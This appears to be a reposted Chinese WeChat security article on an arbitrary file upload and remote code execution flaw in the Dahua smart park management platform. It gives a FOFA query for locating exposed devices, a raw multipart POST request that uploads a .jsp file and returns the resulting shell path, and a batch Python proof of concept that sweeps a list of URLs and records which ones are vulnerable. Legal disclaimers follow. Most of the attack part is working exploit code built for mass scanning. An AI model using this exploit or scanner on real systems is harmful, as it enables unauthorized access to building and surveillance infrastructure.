漏洞描述
大华智慧园区设备开放了文件上传功能,但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤,导致攻击者可以通过构造恶意文件并上传到设备上,然后利用该漏洞获取权限并执行任意命令。
FOFA语句
body="/WPMS/asset/lib/gridster/"
漏洞复现
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Length: 228
Content-Type: multipart/form-data; boundary=f3aeb22be281d77542546a2f71e20982
--f3aeb22be281d77542546a2f71e20982
Content-Disposition: form-data; name="upload"; filename="a.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary
1657966889
--f3aeb22be281d77542546a2f71e20982--
shell地址链接:http://127.0.0.1/upload/emap/society_new/ico_res_f61fad3abc99_on.jsp
注:ico_res_f61fad3abc99_on.jsp为上传后随机生成的文件名
POC
import argparse
import time
import requests
#fofa:body="/WPMS/asset/lib/gridster/"
parser = argparse.ArgumentParser(description='大华智慧园区综合管理平台任意文件上传 批量PoC')
parser.add_argument('-f',help='Batch detection file name',type=str)
args = parser.parse_args()
file = args.f
def get_url(file):
with open('{}'.format(file),'r',encoding='utf-8') as f:
for i in f:
i = i.replace('n', '')
send_req(i)
def write_result(content):
f = open("result.txt", "a", encoding="UTF-8")
f.write('{}n'.format(content))
f.close()
def send_req(url_check):
print('{} runing Check'.format(url_check))
url = url_check + '/emap/devicePoint_addImgIco?hasSubsystem=true'
header = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.69',
'Content-Type':'multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT',
'Accept':'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2',
'Connection':'close'
}
data = (
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDTrn"
'Content-Disposition: form-data; name="upload"; filename="1ndex.jsp"rn'
"Content-Type: application/octet-streamrn"
"Content-Transfer-Encoding: binaryrn"
"rn"
"123rn"
"--A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--"
)
try:
requests.packages.urllib3.disable_warnings()
response = requests.post(url=url,headers=header,data=data,verify=False,timeout=3).json()
if response['code'] == 1:
result = '{} 存在任意文件上传漏洞! 请访问目标自测:{} n'.format(url_check,
url_check + "/upload/emap/society_new/" + response['data'])
print(result)
write_result(result)
time.sleep(1)
except Exception as e:
print(e)
pass
if __name__ == '__main__':
if file is None:
print('请在当前目录下新建需要检测的url.txt')
else:
get_url(file)
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):大华智慧园区综合管理平台存在RCE漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论